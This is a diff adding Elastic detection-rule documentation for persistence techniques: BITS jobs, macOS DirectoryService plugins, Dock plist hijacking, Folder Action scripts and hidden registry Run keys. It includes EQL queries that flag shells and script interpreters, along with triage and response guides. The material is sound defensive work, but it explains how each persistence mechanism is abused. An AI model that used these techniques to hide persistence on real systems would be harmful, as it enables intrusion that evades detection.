+*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "svchost.exe" and process.parent.args : "BITS" and + not process.executable : + ("?:\\Windows\\System32\\WerFaultSecure.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\wermgr.exe", + "?:\\WINDOWS\\system32\\directxdatabaseupdater.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: BITS Jobs +** ID: T1197 +** Reference URL: https://attack.mitre.org/techniques/T1197/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-directoryservice-plugin-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-directoryservice-plugin-modification.asciidoc new file mode 100644 index 0000000000..df695f9d73 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-directoryservice-plugin-modification.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-persistence-via-directoryservice-plugin-modification]] +=== Persistence via DirectoryService Plugin Modification + +Identifies the creation or modification of a DirectoryService PlugIns (dsplug) file. The DirectoryService daemon launches on each system boot and automatically reloads after crash. It scans and executes bundles that are located in the DirectoryServices PlugIns folder and can be abused by adversaries to maintain persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.chichou.me/2019/11/21/two-macos-persistence-tricks-abusing-plugins/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via DirectoryService Plugin Modification* + + +DirectoryService PlugIns on macOS are integral for managing directory-based services, automatically executing on system boot. Adversaries exploit this by modifying or creating malicious plugins to ensure persistent access. The detection rule identifies suspicious activity by monitoring non-deletion events involving dsplug files in the PlugIns directory, flagging potential unauthorized modifications indicative of persistence tactics. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path matches /Library/DirectoryServices/PlugIns/*.dsplug, indicating a potential unauthorized modification or creation of a DirectoryService plugin. +- Check the file creation or modification timestamp to determine when the suspicious activity occurred and correlate it with other system events or user activities around that time. +- Investigate the file's origin by examining the file's metadata, such as the creator or modifying user, and cross-reference with known user accounts and their typical behavior. +- Analyze the contents of the modified or newly created dsplug file to identify any malicious code or unusual configurations that could indicate adversarial activity. +- Review system logs and other security alerts around the time of the event to identify any related suspicious activities or patterns that could suggest a broader compromise. +- Assess the risk and impact of the modification by determining if the plugin is actively being used for persistence or if it has been executed by the DirectoryService daemon. + + +*False positive analysis* + + +- Routine system updates or legitimate software installations may modify dsplug files, triggering alerts. Users can create exceptions for known update processes or trusted software installations to reduce noise. +- Administrative tasks performed by IT personnel, such as configuring directory services, might involve legitimate modifications to dsplug files. Implementing a whitelist for actions performed by verified IT accounts can help minimize false positives. +- Security software or system management tools that interact with directory services might cause benign modifications. Identifying and excluding these tools from monitoring can prevent unnecessary alerts. +- Automated scripts or maintenance tasks that regularly check or update directory service configurations could be flagged. Documenting and excluding these scripts from detection can help maintain focus on genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Conduct a thorough review of the identified dsplug file(s) in the /Library/DirectoryServices/PlugIns/ directory to confirm unauthorized modifications or creations. Compare against known good configurations or backups. +- Remove any unauthorized or malicious dsplug files and restore legitimate versions from a trusted backup if available. +- Restart the DirectoryService daemon to ensure it is running only legitimate plugins. This can be done by executing `sudo launchctl stop com.apple.DirectoryServices` followed by `sudo launchctl start com.apple.DirectoryServices`. +- Perform a comprehensive scan of the system using updated security tools to identify any additional malicious files or indicators of compromise. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the DirectoryServices PlugIns directory to detect future unauthorized changes promptly, ensuring alerts are configured to notify the security team immediately. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like "/Library/DirectoryServices/PlugIns/*.dsplug" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-docker-shortcut-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-docker-shortcut-modification.asciidoc new file mode 100644 index 0000000000..ebaf56142f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-docker-shortcut-modification.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-persistence-via-docker-shortcut-modification]] +=== Persistence via Docker Shortcut Modification + +An adversary can establish persistence by modifying an existing macOS dock property list in order to execute a malicious application instead of the intended one when invoked. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/specterops/presentations/raw/master/Leo%20Pitt/Hey_Im_Still_in_Here_Modern_macOS_Persistence_SO-CON2020.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Docker Shortcut Modification* + + +Docker shortcuts on macOS are managed through dock property lists, which define application launch behaviors. Adversaries may exploit this by altering these lists to redirect shortcuts to malicious applications, thus achieving persistence. The detection rule identifies unauthorized modifications to these property lists, excluding legitimate processes, to flag potential threats. This approach helps in pinpointing suspicious activities that could indicate persistence mechanisms being established by attackers. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path and process name involved in the modification of the com.apple.dock.plist file. +- Examine the process that triggered the alert by checking its parent process, command line arguments, and execution history to determine if it is associated with known malicious activity. +- Investigate the user account associated with the file modification to determine if there are any signs of compromise or unauthorized access. +- Check for any recent changes or anomalies in the user's environment, such as new applications installed or unexpected network connections, that could indicate further malicious activity. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise. +- If possible, restore the original com.apple.dock.plist file from a backup to ensure the system's integrity and prevent the execution of any malicious applications. + + +*False positive analysis* + + +- Legitimate software updates or installations may modify the dock property list. Users can create exceptions for known update processes like software management tools to prevent false alerts. +- System maintenance tasks performed by macOS utilities might trigger the rule. Exclude processes such as cfprefsd and plutil, which are involved in regular system operations, to reduce noise. +- Custom scripts or automation tools that modify user preferences could be flagged. Identify and whitelist these scripts if they are part of routine administrative tasks. +- Security or IT management tools like Jamf or Kandji may interact with dock property lists. Ensure these tools are included in the exclusion list to avoid unnecessary alerts. +- User-initiated changes to dock settings can also be mistaken for malicious activity. Educate users on the implications of modifying dock settings and monitor for patterns that deviate from normal behavior. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes identified as modifying the dock property list, especially those not matching legitimate process names or executables. +- Restore the original com.apple.dock.plist file from a known good backup to ensure the dock shortcuts are not redirecting to malicious applications. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malicious software. +- Review and audit user accounts and permissions on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Implement monitoring for any future unauthorized modifications to dock property lists, ensuring alerts are configured for quick response. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like "/Users/*/Library/Preferences/com.apple.dock.plist" and + ((process.name like~ ("osascript", "python*", "sh", "bash", "zsh", "node") or Effective_process.name like~ ("osascript", "python*", "sh", "bash", "zsh", "node")) or + (process.code_signature.exists == false or process.code_signature.trusted == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Shortcut Modification +** ID: T1547.009 +** Reference URL: https://attack.mitre.org/techniques/T1547/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-folder-action-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-folder-action-script.asciidoc new file mode 100644 index 0000000000..b4edecd1ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-folder-action-script.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-persistence-via-folder-action-script]] +=== Persistence via Folder Action Script + +Detects modification of a Folder Action script. A Folder Action script is executed when the folder to which it is attached has items added or removed, or when its window is opened, closed, moved, or resized. Adversaries may abuse this feature to establish persistence by utilizing a malicious script. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Folder Action Script* + + +Folder Action scripts on macOS automate tasks by executing scripts when folder contents change. Adversaries exploit this by attaching malicious scripts to folders, ensuring execution upon folder events, thus achieving persistence. The detection rule identifies suspicious script executions by monitoring specific processes initiated by the UserScriptService, excluding known benign scripts, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of a script by checking the process name and arguments, ensuring it matches the suspicious criteria outlined in the detection rule. +- Investigate the parent process, com.apple.foundation.UserScriptService, to understand the context of the script execution and identify any unusual behavior or anomalies. +- Examine the specific folder associated with the Folder Action script to determine if it has been modified recently or contains any unauthorized or unexpected scripts. +- Check the user account associated with the script execution to verify if the activity aligns with normal user behavior or if it indicates potential compromise. +- Look for any additional related alerts or logs that might provide further context or evidence of malicious activity, such as other script executions or file modifications around the same time. + + +*False positive analysis* + + +- Scripts associated with legitimate applications like iTerm2 and Microsoft Office may trigger alerts. These are known benign scripts and can be excluded by adding their paths to the exception list in the detection rule. +- Custom user scripts that automate routine tasks might be flagged. Users should review these scripts and, if verified as safe, add their specific paths to the exclusion criteria. +- Development environments that frequently execute scripts for testing purposes can cause false positives. Developers should ensure that these scripts are executed in a controlled environment and consider excluding their paths if they are consistently flagged. +- System maintenance scripts that are scheduled to run during folder events might be detected. Users should verify these scripts' legitimacy and exclude them if they are part of regular system operations. +- Backup or synchronization tools that use scripts to manage file changes in folders could be mistakenly identified. Confirm these tools' activities and exclude their script paths if they are part of trusted operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of the malicious script and potential lateral movement. +- Terminate any suspicious processes identified by the detection rule, particularly those initiated by the UserScriptService that match the query criteria. +- Remove or disable the malicious Folder Action script from the affected folder to prevent future execution. +- Conduct a thorough review of the affected system's folder action scripts to identify and remove any additional unauthorized or suspicious scripts. +- Restore any affected files or system components from a known good backup to ensure system integrity. +- Monitor the system for any signs of re-infection or further suspicious activity, focusing on processes and scripts similar to those identified in the alert. +- Escalate the incident to the security team for further investigation and to determine if additional systems are affected, ensuring a comprehensive response to the threat. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.parent.name == "com.apple.foundation.UserScriptService" and + ((process.name like~ ("osascript", "python*", "tcl*", "node", "perl", "ruby", "php")) or + (process.name in ("bash", "csh", "zsh", "sh") and process.args == "-c")) and + not process.args like ("/Users/*/Library/Scripts/*", "/Users/*/Library/Application Scripts/*", "/Library/Scripts/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-hidden-run-key-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-hidden-run-key-detected.asciidoc new file mode 100644 index 0000000000..efb395cc4d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-hidden-run-key-detected.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-34-persistence-via-hidden-run-key-detected]] +=== Persistence via Hidden Run Key Detected + +Identifies a persistence mechanism that utilizes the NtSetValueKey native API to create a hidden (null terminated) registry key. An adversary may use this method to hide from system utilities such as the Registry Editor (regedit). + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/outflanknl/SharpHide +* https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via Hidden Run Key Detected* + + + +*Possible investigation steps* + + +- Does the registry event support hidden or null-terminated Run-value semantics, and what would it launch? + - Why: trailing Run-key `registry.path` with launch data can indicate a null-prefixed value name created through NtSetValueKey; raw telemetry can preserve it when regedit does not. + - Focus: `registry.path`, `registry.hive`, `registry.value`, `registry.data.type`, and `registry.data.strings`. + - Hint: trust the registry event over GUI rendering; record exact `registry.data.strings` before tools normalize the hidden value name. + - Implication: escalate when raw evidence supports hidden-value semantics and an unexpected command; lower suspicion only when exact raw value, payload, user, and host match authorized hidden-registry testing. The alert indicates a hiding technique, not one tool. + +- Which hive and logon scope would activate the hidden autorun? + - Focus: `registry.hive`, `registry.path`, `user.id`, and `host.id`. + - Implication: prioritize host-wide containment for machine hives and user-focused containment for user hives; lower urgency only when raw value evidence supports a constrained test user or lab host. + +- Which process wrote the hidden value, and does its identity and launch chain fit the expected test or validation workflow? + - Focus: `process.entity_id`, `process.executable`, `process.command_line`, `process.parent.executable`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Hint: use the writer's process-start event on `host.id` and `process.entity_id` to confirm command line, parent, and signer. !{investigate{"description":"","label":"Process events for the registry writer","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the writer is a script host, document child, remote-admin tool, unsigned/untrusted binary, user-writable executable, or SharpHide-like command line; lower suspicion when signer, path, parent, command line, user, and host align with the same recognized test or validation component. + +- Did the hidden autorun command execute after logon or spawn suspicious follow-on activity? + - Focus: post-alert process starts on `host.id` where `process.executable` or `process.command_line` matches the `registry.data.strings` payload. + - Hint: for user-hive paths, include `user.id`; for machine-hive paths, check the next interactive logon. Use `process.parent.name` and `process.parent.executable` to identify the launcher. !{investigate{"description":"","label":"Process starts matching the hidden Run payload","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.command_line","queryType":"phrase","value":"{{registry.data.strings}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now","relativeTo":"now"}} + - Implication: escalate when the payload launches after logon, runs through a shell, script host, LOLBin, user-writable path, or obfuscated chain, or creates unusual children; no later launch leaves execution unproven, not benign, unless the value and writer are fully explained. + +- Did the same writer modify other startup or hidden-registry locations around the alert time? + - Focus: writer-scoped registry events, especially `registry.path`, `registry.key`, `registry.value`, and `registry.data.strings` for Run, RunOnce, Policies\Explorer\Run, or related startup paths. + - Hint: start with `host.id` and `process.entity_id`, then widen only to the same host and startup-path family. !{investigate{"description":"","label":"Registry events from the writer process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process spreads persistence across startup keys, rewrites the same path, or creates additional hidden or malformed values; a single bounded change lowers scope only after writer and payload are independently explained. + +- If local evidence remains suspicious or unresolved, do same-user or same-host alerts show broader activity? + - Focus: recent same-`user.id` alerts tied to persistence, defense evasion, credential access, or lateral movement. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review same-`host.id` alerts when local evidence is suspicious or incomplete. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment when related alerts show precursor access, more persistence, credential abuse, or follow-on movement; keep local only when related alerts are absent and the hidden value is otherwise exactly explained. + +- Escalate when hidden Run semantics pair with a suspicious writer, payload, later execution, adjacent persistence, or related alerts; close only when same-host telemetry and corroborating test or validation records explain the exact value, writer, payload, user, and host with no contradictions; preserve registry, process, and payload evidence and escalate when answers remain mixed or incomplete. + + +*False positive analysis* + + +- Authorized adversary emulation, detection validation, or security-product testing can create hidden Run values to test detection of regedit-hidden startup entries. Close only when `process.executable`, `process.code_signature.subject_name`, `process.command_line`, `registry.path`, `registry.data.strings`, `user.id`, and `host.id` match the same authorized test chain, and any later `process.command_line` stays bounded to it. Without validation records, do not close on recurrence alone; keep suspicious or unresolved until exact test scope is verified. +- Routine software installation can explain ordinary Run-key writes, but should not require a hidden or null-terminated value name. Treat installer or support claims as insufficient unless telemetry proves the exact hidden value, writer, payload, and execution pattern belong to a recognized lab, validation, or product-test workflow. +- Before an exception, require a verified test or validation workflow, then confirm the same `process.executable`, `process.code_signature.subject_name`, `registry.path`, `registry.data.strings`, `user.id`, and `host.id` pattern recurs across prior alerts from this rule. Build the exception from that minimum confirmed workflow; avoid exceptions on Run paths alone, `process.name` alone, payload strings alone, or the rule name alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and record the `process.executable`, signer, `process.command_line`, `registry.path`, exact `registry.data.strings`, `user.id`, `host.id`, and later logon execution pattern that proved the authorized workflow. Keep any exception narrow and tied to the recurring workflow. +- If suspicious but unconfirmed, first preserve the raw registry event, affected Run-key hive with the hidden value intact when possible, writer `process.entity_id`, writer command line, process lineage, payload string from `registry.data.strings`, and related-alert context. Then apply reversible containment tied to those findings, such as isolating the host if its role tolerates it, temporarily preventing the affected user from logging back in, or blocking execution of the referenced payload. +- If confirmed malicious, preserve the same registry and process evidence before destructive action. Use tooling that can enumerate null-prefixed value names to remove the hidden autorun, collect or quarantine the referenced payload artifact, and review the same `process.entity_id`, `registry.path`, and startup-key family for additional hidden or visible autoruns before cleanup. Terminate a recovered payload process only after recording its `process.entity_id` and command line. +- After containment, review other hosts and users for the same `registry.data.strings`, startup-path family, signer, or payload path before deleting artifacts, then verify that no additional Run or RunOnce locations reference the same payload. +- Post-incident hardening: restrict startup-key modifications to recognized installers and management tools, retain registry and process telemetry needed to correlate hidden Run-key writes with writer lineage and logon execution, and record any adjacent hidden-registry or startup-persistence variant in case notes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and length(registry.data.strings) > 0 and + + /* Registry Path ends with backslash */ + registry.path : "*\\Run\\" and + registry.path : ( + "*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* 